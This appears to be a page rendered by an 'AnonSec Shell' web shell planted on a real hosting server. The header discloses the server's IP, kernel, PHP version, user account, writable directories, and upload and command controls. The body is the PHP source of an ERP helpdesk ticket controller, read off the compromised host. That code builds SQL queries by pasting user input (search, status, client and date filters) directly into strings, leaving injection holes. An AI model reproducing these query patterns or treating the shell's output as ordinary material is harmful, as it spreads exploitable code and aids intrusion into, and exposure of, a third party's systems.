AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/erp/application/plugins/module_helpdesk/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/erp/application/plugins/module_helpdesk/controllers/TicketController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../models/TicketModel.php";

class TicketController extends Controller {

    protected $id;
    protected $model;
    protected $client_id;

    public function __construct($ui, $_L, $config, $_pd, $client_id = null) {
        parent::__construct($ui, $_L, $config, $_pd, $client_id);

        $this->ui->assign('_title', $this->_L['module_helpdesk ticket'] . ' - ' . $this->config['CompanyName']);
        $this->ui->assign('_st', $_L['module_helpdesk']);

        $this->model = new TicketModel();

        $this->id = $this->routes[3];
        $this->client_id = $client_id;
    }

    public function listAll() {

        $filter = array();
        $filter['items_per_page'] = 10;

        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            $_SESSION['filter_helpdesk_responsible_id'] = isset($_POST['responsible_id']) ? $_POST['responsible_id'] : '';
            $_SESSION['filter_helpdesk_status'] = _post('status');
            $_SESSION['filter_helpdesk_client_id'] = isset($_POST['client_id']) ? $_POST['client_id'] : '';

            $_SESSION['filter_helpdesk_search'] = _post('search');
            $_SESSION['filter_helpdesk_period'] = _post('period');
            if ($_SESSION['filter_helpdesk_period'] == 'interval') {
                $_SESSION['filter_helpdesk_period_ini'] = _postDate('period_ini');
                $_SESSION['filter_helpdesk_period_end'] = _postDate('period_end');
            } else {
                $_SESSION['filter_helpdesk_period_ini'] = '';
                $_SESSION['filter_helpdesk_period_end'] = '';
            }
            $filter['items_per_page'] = filter_var(_post('items_per_page'), FILTER_SANITIZE_STRING);
        } else {
            if ($i = array_search('items_per_page', $this->routes))
                $filter['items_per_page'] = filter_var($this->routes[$i + 1], FILTER_SANITIZE_STRING);
        }


        if (isset($_SESSION['filter_helpdesk_responsible_id'])) {
            $filter['responsible_id'] = $_SESSION['filter_helpdesk_responsible_id'];
        } else {
            $filter['responsible_id'] = '';
        }
        if (isset($_SESSION['filter_helpdesk_client_id'])) {
            $filter['client_id'] = $_SESSION['filter_helpdesk_client_id'];
        } else {
            $filter['client_id'] = '';
        }
        if (isset($_SESSION['filter_helpdesk_search'])) {
            $filter['search'] = $_SESSION['filter_helpdesk_search'];
        } else {
            $filter['search'] = '';
        }

        if (isset($_SESSION['filter_helpdesk_status'])) {
            $filter['status'] = $_SESSION['filter_helpdesk_status'];
        } else {
            $filter['status'] = '';
        }

        if (isset($_SESSION['filter_helpdesk_period'])) {
            $filter['period'] = $_SESSION['filter_helpdesk_period'];
        } else {
            $filter['period'] = '';
        }
        if (isset($_SESSION['filter_helpdesk_period_ini'])) {
            $filter['period_ini'] = $_SESSION['filter_helpdesk_period_ini'];
        } else {
            $filter['period_ini'] = '';
        }
        if (isset($_SESSION['filter_helpdesk_period_end'])) {
            $filter['period_end'] = $_SESSION['filter_helpdesk_period_end'];
        } else {
            $filter['period_end'] = '';
        }


        $sql = 'Select t.*,'
                . 'ca.account as client_account, '
                . '(select group_concat(s.description ) from sys_items s JOIN module_helpdesk_tickets_products sub_p ON ( sub_p.product_id=s.id) where   sub_p.module_helpdesk_tickets_id=t.id) as desc_product, '
                . 'cat.title as desc_category ';

        $from = ' from module_helpdesk_tickets t'
                . ' LEFT JOIN module_helpdesk_tickets_cat cat ON(t.module_helpdesk_tickets_cat_id=cat.id)'
                . ' LEFT JOIN crm_accounts ca ON(t.client_id=ca.id)'
                . " WHERE (t.deleted_at IS NULL OR t.deleted_at =0)  ";
        $where = "";
        // Filtro por períodos
        if (isset($filter['period']) && $filter['period'] != '') {
            if ($filter['period'] == 'all')
//                $where .= " AND t.created_at IS NOT NULL";
                if ($filter['period'] == 'day')
                    $where .= " AND  t.created_at = '" . date('Y-m-d') . "'";
            if ($filter['period'] == 'week')
                $where .= " AND WEEK( t.created_at) = WEEK('" . date('Y-m-d') . "')";
            if ($filter['period'] == 'month')
                $where .= " AND MONTH( t.created_at) = MONTH('" . date('Y-m-d') . "')";
            if ($filter['period'] == 'interval') {
                if ($filter['period_ini'] != '') {
                    $where .= " AND DATE(t.created_at) >= '" . $filter['period_ini'] . "'";
                }

                if ($filter['period_end'] != '') {
                    $where .= " AND DATE(t.created_at) <= '" . $filter['period_end'] . "'";
                }
            }
        }

        if (isset($filter['client_id']) && $filter['client_id'] != '') {
            //$where .= " AND l.client_id IN (" . implode(',', $filter['client_id']) . ")";
//            $options = "";
//            foreach ($filter['client_id'] as $c) {
//                $c = ORM::for_table('crm_accounts')->find_one($c);
//                if (count($c) > 0) {
//                    $options .= '<option value="' . $c->id . '" selected >' . $c->account . '</option>';
//                }
//            }
            $where .= " AND t.client_id IN (" . $filter['client_id'] . ")";
//            $options = "";
//            foreach ($filter['client_id'] as $c) {
            $c = ORM::for_table('crm_accounts')->find_one($filter['client_id']);
//                if (count($c) > 0) {
            $options = '<option value="' . $c->id . '" selected >' . $c->account . '</option>';
//                }
//            }
            $this->ui->assign('account', $options);
        } else {
            $this->ui->assign('account', false);
        }

        // verifido se é um cliente que está acessando
//        if($this->client_id > 0)
//        {
//            $where.=" AND l.client_id ='" . $this->client_id . "'";
//        }

        if (isset($filter['responsible_id']) && $filter['responsible_id'] != '') {
            $where .= " AND t.responsible_id=" . intval($filter['responsible_id']);
            $this->ui->assign('responsible', ORM::for_table('crm_accounts')->find_one(intval($filter['responsible_id'])));
        } else {
            $this->ui->assign('responsible', false);
        }
        if (isset($filter['status']) && $filter['status'] != '' && $filter['status'] != 'all') {
            $where .= " AND t.status='" . ($filter['status'] . "'");
        }

        if (isset($filter['search']) && $filter['search'] != '') {
            $where .= " AND (ca.account LIKE '%" . $filter['search'] . "%' 
			OR t.id LIKE '%" . $filter['search'] . "%' 
			)";
        }


        if ($filter['items_per_page'] != 'all')
            $filter['items_per_page'] = ($filter['items_per_page'] > 0) ? $filter['items_per_page'] : 10;

        $sql .= $from . $where . ' order by  t.created_at DESC ';

        $page = isset($this->routes['3']) ? $this->routes['3'] : 1;
        $paginator = new ModulePaginator('module_fish_movement', $sql, $filter);
        $records = $paginator->setItemsPerPage($filter['items_per_page'])
                ->setCurrentPageNumber($page)
                ->run();


        $css_arr = array(
            's2/css/select2.min',
            'dp/dist/datepicker.min',
            '/../../../application/plugins/module_fish/assets/css/default');

        $js_arr = array(
            's2/js/select2.min',
            'dp/dist/datepicker.min',
            '/../../../application/plugins/module_helpdesk/assets/js/ticket-list'
        );

        $assets_css = Asset::css($css_arr);
        $assets_js = Asset::js($js_arr);
        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);

        $this->ui->assign('showFilters', true);
        //  $tickets = $this->model->all('id');

        $tickets = ORM::for_table('module_helpdesk_tickets')->raw_query("Select count(*) as total " . $from . $where)->find_array();
        $ticketsOpen = ORM::for_table('module_helpdesk_tickets')->raw_query("Select count(*) as total  " . $from . $where . " AND t.status='Open'")->find_array();
        $ticketsAtendence = ORM::for_table('module_helpdesk_tickets')->raw_query("Select count(*) as total  " . $from . $where . " AND t.status='Atendence'")->find_array();

        $bottomBar = array(
            array('type' => 'int', 'info' => $this->_L['module_helpdesk Ticket_Qty'], 'value' => ($tickets[0]['total'])),
            array('type' => 'int', 'info' => $this->_L['module_helpdesk Ticket_Qty_open'], 'value' => ($ticketsOpen[0]['total'])),
            array('type' => 'int', 'info' => $this->_L['module_helpdesk Ticket_Qty_atendence'], 'value' => ($ticketsAtendence[0]['total']))
        );
        $this->ui->assign('bottomBar', $bottomBar);


        $this->ui->assign('formatDateHour', $this->config['df'] . " H:i:s");
        $this->ui->assign('filter', $filter);
        $this->ui->assign('records', $records);
        $this->ui->assign('paginator', $paginator);
        $this->ui->assign('_st', $this->_L['module_helpdesk list ticket']);
        $this->ui->assign('_include', 'ticket/list');
        $this->ui->display('wrapper.tpl');
    }

    public function add() {
//
        $js_arr = array(
            '/../../../application/plugins/module_helpdesk/assets/js/ticket-form',
            'redactor/redactor.min', 's2/js/select2.min', 's2/js/i18n/' . lan(), 'dropzone/dropzone'
        );
        $css_arr = array('s2/css/select2.min', 'redactor/redactor', 'dropzone/dropzone'
        );
        $this->ui->assign('attachs', '');
        $user = User::_info();

        $attach = ORM::for_table('module_helpdesk_tickets_attach')->where('user_id', $user->id)->where_null('module_helpdesk_tickets_id')->find_many();

        $att = "";
        $attachs = "";
        if (count($attach) > 0) {

            foreach ($attach as $i) {
                //temporario 100 o tamanho
                $att .= ' {id:"' . $i->id . '", name: "' . $i->name . '", size: 100,url:"' . APP_URL . '/application/plugins/module_helpdesk/uploads/tickets/' . $i->src . '" },';
                $attachs .= "," . $i->id;
            }
        } else {
            $att = "";
        }
        $this->ui->assign('attachs', substr($attachs, 1));


        $attachNote = ORM::for_table('module_helpdesk_tickets_type_attachment')->where('user_id', $user->id)->where_null('module_helpdesk_tickets_id')->find_many();

        $attNote = "";
        $attachsNote = "";
        if (count($attachNote) > 0) {

            foreach ($attachNote as $i) {

                //temporario 100 o tamanho
                $attNote .= ' {id:"' . $i->id . '", name: "' . $i->name . '", size: 100,url:"' . APP_URL . '/application/plugins/module_helpdesk/uploads/tickets/type_atendence/' . $i->src . '" },';
                $attachsNote .= "," . $i->id;
            }
        } else {
            $attNote = "";
        }
        $this->ui->assign('attachsNotes', substr($attachsNote, 1));



        $assets_css = Asset::css($css_arr);
        $assets_js = Asset::js($js_arr);
        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);
        $this->ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
        _L[\'Save\'] = \'' . $this->_L['Save'] . '\';
        _L[\'OK\'] = \'' . $this->_L['OK'] . '\';
        _L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
        _L[\'Cancel\'] = \'' . $this->_L['Cancel'] . '\';
        _L[\'Select\'] = \'' . $this->_L['Select'] . '\'; 
   _L[\'View\'] = \'' . $this->_L['View'] . '\'; 
        _L[\'module_helpdesk Delete Attach?\'] = \'' . $this->_L['module_helpdesk Delete Attach?'] . '\';

        var existingFiles = [' . $att . '
        ];
        var existingFilesNote = [' . $attNote . '
        ];');



        $this->ui->assign('typeForm', 'window');
        $this->ui->assign('ticket', (object) array("title" => "",
                    'id' => "",
                    'default' => "0",
                    'description' => "",
                    'status' => "Open",
                    'product_cat_id' => '',
                    'product_id' => '',
                    'client_id' => '',
                    'treatment_type_local' => '',
        ));
        $this->ui->assign('_st', $this->_L['module_helpdesk ticket']);
        $this->ui->assign('_include', 'ticket/' . __FUNCTION__);
        $this->ui->display('wrapper.tpl');
    }

    /**
     * Insert add to type diary
     */
    public function post() {
        try {
            $data = $_POST;
            $msg = '';
            if (empty(_post('client_id'))) {
                $msg .= $this->_L['Customer'] . $this->_L['is required'];
            }

            if (empty(_post('status'))) {
                $msg .= $this->_L['Status'] . $this->_L['is required'];
            }
            if (empty(_post('module_helpdesk_tickets_priority_id'))) {
                $msg .= $this->_L['module_helpdesk priority'] . $this->_L['is required'];
            }
            if (empty(_post('module_helpdesk_tickets_cat_id'))) {
                $msg .= $this->_L['module_helpdesk ticket category'] . $this->_L['is required'];
            }
            if (empty(_post('module_helpdesk_tickets_treatment_type_id'))) {
                $msg .= $this->_L['module_helpdesk type'] . $this->_L['is required'];
            }
            if (empty(_post('product_cat_id'))) {
                $msg .= $this->_L['Category'] . $this->_L['is required'];
            }

            if (!isset($_POST['product_id'])) {
                $msg .= $this->_L['module_helpdesk product'] . $this->_L['is required'];
            }
            if (empty(_post('description'))) {
                $msg .= $this->_L['module_helpdesk description'] . $this->_L['is required'];
            }



            if (empty($msg)) {
                if (isset($data['id']) && $data['id'] > 0) {
                    $ticket = $this->model->getOne($data['id']);
                    $ticket = $this->model->updateTicket($data, $ticket);
                    _notify($this->_L['module_helpdesk ticket'] . " " . $this->_L['Edited Successfull'], 's');
                } else {
                    $ticket = $this->model->createTicket($data);
                    _notify($this->_L['module_helpdesk ticket'] . " " . $this->_L['Add Successfull'], 's');
                }
              
                echo json_encode(array('status' => 'OK', 'msg' => '', 'id' => $ticket->id));
            } else {
                echo json_encode(array('status' => 'ERRO', 'msg' => $msg, 'id' => ''));
            }
        } catch (Exception $ex) {
            echo json_encode(array('status' => 'ERRO', 'msg' => $ex->getMessage(), 'id' => ''));
            exit();
        }
    }

    /**
     * Show form to edit type exam
     */
    public function edit() {
        $this->id = $this->routes[3];

        if (empty($this->routes[3]) || !is_numeric($this->routes[3])) {
            die($this->_L['Id_Required']);
        }

        $ticket = $this->model->getOne($this->routes[3]);

        if (!$ticket) {
            die($this->_L['Not_Found']);
        }
        if ($ticket->deleted_at != null) {
            die($this->_L['Not_Found']);
        }

        $js_arr = array(
            '/../../../application/plugins/module_helpdesk/assets/js/ticket-form',
            'redactor/redactor.min', 's2/js/select2.min', 's2/js/i18n/' . lan(), 'dropzone/dropzone'
        );
        $css_arr = array('s2/css/select2.min', 'redactor/redactor', 'dropzone/dropzone'
        );
        $this->ui->assign('attachs', '');

        $attach = ORM::for_table('module_helpdesk_tickets_attach')->where('module_helpdesk_tickets_id', $ticket->id)->find_many();

        $att = "";
        $attachs = "";
        if (count($attach) > 0) {

            foreach ($attach as $i) {
                //temporario 100 o tamanho
                $att .= ' {id:"' . $i->id . '", name: "' . $i->name . '", size: 100,url:"' . APP_URL . '/application/plugins/module_helpdesk/uploads/tickets/' . $i->src . '" },';
                $attachs .= "," . $i->id;
            }
        } else {
            $att = "";
        }
        $this->ui->assign('attachs', substr($attachs, 1));

        $attachNote = ORM::for_table('module_helpdesk_tickets_type_attachment')->where('module_helpdesk_tickets_id', $ticket->id)->find_many();

        $attNote = "";
        $attachsNote = "";
        if (count($attachNote) > 0) {

            foreach ($attachNote as $i) {

                //temporario 100 o tamanho
                $attNote .= ' {id:"' . $i->id . '", name: "' . $i->name . '", size: 100,url:"' . APP_URL . '/application/plugins/module_helpdesk/uploads/tickets/type_atendence/' . $i->src . '" },';
                $attachsNote .= "," . $i->id;
            }
        } else {
            $attNote = "";
        }
        $this->ui->assign('attachsNotes', substr($attachsNote, 1));

        $assets_css = Asset::css($css_arr);
        $assets_js = Asset::js($js_arr);
        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);
        $this->ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
        _L[\'Save\'] = \'' . $this->_L['Save'] . '\';
        _L[\'OK\'] = \'' . $this->_L['OK'] . '\';
        _L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
        _L[\'Cancel\'] = \'' . $this->_L['Cancel'] . '\';
        _L[\'Select\'] = \'' . $this->_L['Select'] . '\'; 
   _L[\'View\'] = \'' . $this->_L['View'] . '\'; 
        _L[\'module_helpdesk Delete Attach?\'] = \'' . $this->_L['module_helpdesk Delete Attach?'] . '\';

        var existingFiles = [' . $att . '
        ];
        var existingFilesNote = [' . $attNote . '
        ];');

        $client = ORM::for_table('crm_accounts')->find_one($ticket->client_id);
        $this->ui->assign('client', $client);


        $requester = ORM::for_table('crm_accounts')->find_one($ticket->responsible_id);
        $this->ui->assign('responsible', $requester);

        $requester = ORM::for_table('module_helpdesk_tickets_priority')->find_one($ticket->module_helpdesk_tickets_priority_id);
        $this->ui->assign('priority_ticket', $requester);


        $requester = ORM::for_table('module_helpdesk_tickets_cat')->find_one($ticket->module_helpdesk_tickets_cat_id);
        $this->ui->assign('cat_ticket', $requester);


        $requester = ORM::for_table('module_helpdesk_tickets_treatment_type')->find_one($ticket->module_helpdesk_tickets_treatment_type_id);
        $this->ui->assign('type_ticket', $requester);


        $prods = $this->model->getProducts($ticket);
        $this->ui->assign('products', $prods);
        if (count($prods) > 0) {
            $ticket->product_cat_id = $prods[0]->product_cat_id;
        }

        $this->ui->assign('ticket', $ticket);
        $this->ui->assign('typeForm', 'window');
        $this->ui->assign('_st', $this->_L['module_helpdesk ticket']);
        $this->ui->assign('_include', 'ticket/add');
        $this->ui->display('wrapper.tpl');
    }

    public function view() {
        $this->id = $this->routes[3];

        if (empty($this->routes[3]) || !is_numeric($this->routes[3])) {
            die($this->_L['Id_Required']);
        }

        $ticket = $this->model->getOne($this->routes[3]);

        if (!$ticket) {
            die($this->_L['Not_Found']);
        }
        if ($ticket->deleted_at != null) {
            die($this->_L['Not_Found']);
        }


        $attach = ORM::for_table('module_helpdesk_tickets_attach')->where('module_helpdesk_tickets_id', $ticket->id)->find_many();

        if (count($attach) > 0) {
            $this->ui->assign('attachs', $attach);
        } else {
            $this->ui->assign('attachs', "");
        }




        $client = ORM::for_table('crm_accounts')->find_one($ticket->client_id);
        $this->ui->assign('client', $client);


        $requester = ORM::for_table('crm_accounts')->find_one($ticket->responsible_id);
        $this->ui->assign('responsible', $requester);

        $requester = ORM::for_table('sys_users')->find_one($ticket->requester_id);
        $this->ui->assign('register', $requester);

        $requester = ORM::for_table('module_helpdesk_tickets_priority')->find_one($ticket->module_helpdesk_tickets_priority_id);
        $this->ui->assign('priority_ticket', $requester);


        $requester = ORM::for_table('module_helpdesk_tickets_cat')->find_one($ticket->module_helpdesk_tickets_cat_id);
        $this->ui->assign('cat_ticket', $requester);


        $requester = ORM::for_table('module_helpdesk_tickets_treatment_type')->find_one($ticket->module_helpdesk_tickets_treatment_type_id);
        $this->ui->assign('type_ticket', $requester);



        $prods = $this->model->getProducts($ticket);
        $this->ui->assign('products', $prods);
        if (count($prods) > 0) {
            $requester = ORM::for_table('sys_items_category')->find_one($prods[0]->product_cat_id);
            $this->ui->assign('category', $requester);
        } else {
            $this->ui->assign('category', '');
        }




        $this->ui->assign('ticket', $ticket);
        $this->ui->assign('typeForm', 'window');
        $this->ui->assign('_st', $this->_L['module_helpdesk view ticket']);
        $this->ui->assign('_include', 'ticket/view');
        $this->ui->display('wrapper.tpl');
    }

    public function delete() {
        $type = $this->model->getOne(_post('id'));

        $this->model->deleteTicket($type);
        r2(U . 'module_helpdesk/ticket/listall', 's', $this->_L['delete_successful']);
    }

    public function add_attach() {
        $uploader = new Uploader();

        $uploader->setDir('application/plugins/module_helpdesk/uploads/tickets/');
        $uploader->sameName(false);
        $uploader->setExtensions(array('jpg', 'jpeg', 'png', 'gif', 'pdf'));
        $uploader->setMaxSize(5);
        if ($uploader->uploadFile('file')) {
            $uploaded = $uploader->getUploadName();
            $file = $uploaded;
            $msg = "Envio concluído";
            $success = 'Yes';
            $d = ORM::for_table('module_helpdesk_tickets_attach')->create();
            $d->src = $uploaded;
            $d->name = $uploader->getOldName();
            if (isset($this->routes['3']) && $this->routes['3'] > 0) {
                $d->module_helpdesk_tickets_id = $this->routes['3'];
            } else {
                //grava a imagem como pertencente ao usuário, antes dele salvar o novo produto
                $user = User::_info();
                $d->user_id = $user->id;
            }
            $d->save();
            $id = $d->id;
        } else {//upload failed
            $file = '';
            $msg = $uploader->getMessage();
            $success = 'No';
            $id = '';
        }

        $a = array(
            'success' => $success,
            'msg' => $msg,
            'file' => $file,
            'id' => $id,
            'url' => APP_URL . '/application/plugins/module_helpdesk/uploads/tickets/' . $file
        );

        header('Content-Type: application/json');

        echo json_encode($a);
    }

    public function delete_attach() {
        $id = _post('id');
        $d = ORM::for_table('module_helpdesk_tickets_attach')->find_one($id);
        if ($d) {
            $d->delete();
            unlink('application/plugins/module_helpdesk/uploads/tickets/' . $d->src);
            $msg = $this->_L['Deleted Successfully'];
            $status = 'Yes';
        } else {
            $msg = $this->_L['Not found'];
            $status = "ERROR";
        }
        $data = array(
            'status' => $status,
            'msg' => $msg,
        );
        header('Content-Type: application/json');
        echo json_encode($data);
    }

    public function add_attach_type_atendence() {
        $uploader = new Uploader();

        $uploader->setDir('application/plugins/module_helpdesk/uploads/tickets/type_atendence/');
        $uploader->sameName(false);
        $uploader->setExtensions(array('jpg', 'jpeg', 'png', 'gif', 'pdf'));
        $uploader->setMaxSize(5);
        if ($uploader->uploadFile('file')) {
            $uploaded = $uploader->getUploadName();
            $file = $uploaded;
            $msg = "Envio concluído";
            $success = 'Yes';
            $d = ORM::for_table('module_helpdesk_tickets_type_attachment')->create();
            $d->src = $uploaded;
            $d->name = $uploader->getOldName();
            if (isset($this->routes['3']) && $this->routes['3'] > 0) {
                $d->module_helpdesk_tickets_id = $this->routes['3'];
            } else {
                //grava a imagem como pertencente ao usuário, antes dele salvar o novo produto
                $user = User::_info();
                $d->user_id = $user->id;
            }
            $d->save();
            $id = $d->id;
        } else {//upload failed
            $file = '';
            $msg = $uploader->getMessage();
            $success = 'No';
            $id = '';
        }

        $a = array(
            'success' => $success,
            'msg' => $msg,
            'file' => $file,
            'id' => $id,
            'url' => APP_URL . '/application/plugins/module_helpdesk/uploads/tickets/type_atendence/' . $file
        );

        header('Content-Type: application/json');

        echo json_encode($a);
    }

    public function delete_attach_type_atendence() {
        $id = _post('id');
        $d = ORM::for_table('module_helpdesk_tickets_type_attachment')->find_one($id);
        if ($d) {
            $d->delete();
            unlink('application/plugins/module_helpdesk/uploads/tickets/type_atendence/' . $d->src);
            $msg = $this->_L['Deleted Successfully'];
            $status = 'Yes';
        } else {
            $msg = $this->_L['Not found'];
            $status = "ERROR";
        }
        $data = array(
            'status' => $status,
            'msg' => $msg,
        );
        header('Content-Type: application/json');
        echo json_encode($data);
    }

}

Anon7 - 2022
AnonSec Team